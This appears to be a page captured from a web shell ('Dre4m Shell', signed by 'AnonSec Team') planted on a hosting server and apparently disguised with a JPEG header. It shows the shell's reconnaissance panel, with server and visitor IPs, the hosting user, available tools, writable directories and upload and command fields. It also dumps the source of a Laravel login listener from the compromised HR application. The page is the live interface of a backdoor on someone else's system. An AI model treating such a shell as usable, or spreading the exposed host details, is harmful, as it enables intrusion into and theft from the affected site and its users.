ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.139.237.179
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/hr/app/Listeners/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/hr/app/Listeners/DoActionAfterLogin.php
<?php

namespace App\Listeners;

use App\Events\UserDetails;
use Illuminate\Queue\InteractsWithQueue;
use Illuminate\Contracts\Queue\ShouldQueue;
use App\Http\Controllers\RolePermissionController;
use Auth;
use App\User;
use App\Role;
use DB;
use Session;

class DoActionAfterLogin
{
    /**
     * Create the event listener.
     *
     * @return void
     */
    public function __construct()
    {
        //
    }

    /**
     * Handle the event.
     *
     * @param  UserDetails  $event
     * @return void
     */
    public function handle($event)
    {
        $id = Auth::user()->divisionID;
        $username = Auth::user()->username;
        DB::enableQueryLog();
        $users = DB::table('users')
                //->join('role_user', 'users.id', '=', 'role_user.user_id')
                //->join('roles', 'roles.id', '=', 'role_user.role_id')
                ->join('tbldivision', 'users.divisionID', '=', 'tbldivision.divisionID')
                ->where('tbldivision.divisionID', $id)
                //->where('users.username', $username)
                ->select('tbldivision.division', 'tbldivision.divisionID')
                ->first();
        
        //Session::put('roleName', $users->name);
        Session::put('divisionID', $users->divisionID);   
        Session::put('division', $users->division);
        Session::put('userName', Auth::user()->username);
        
       
       
       
        ///////////////START DO AFTER LOGIN ROUTINE FUNCTIONS/////////////
        $object = new RolePermissionController; //create a new object
        $object->doAfterLogin(); //call a function
        $userDetails = User::find(Auth::user()->id);
        //update user table
        if($userDetails)
        {
            $userDetails->last_login    = $userDetails->current_login;
            $userDetails->current_login = date('Y-m-d h:i:sa');
            $userDetails->save();
        }
        ///////////////START DO AFTER LOGIN ROUTINE FUNCTIONS/////////////
        
    }
}

Anon7 - 2022
AnonSec Team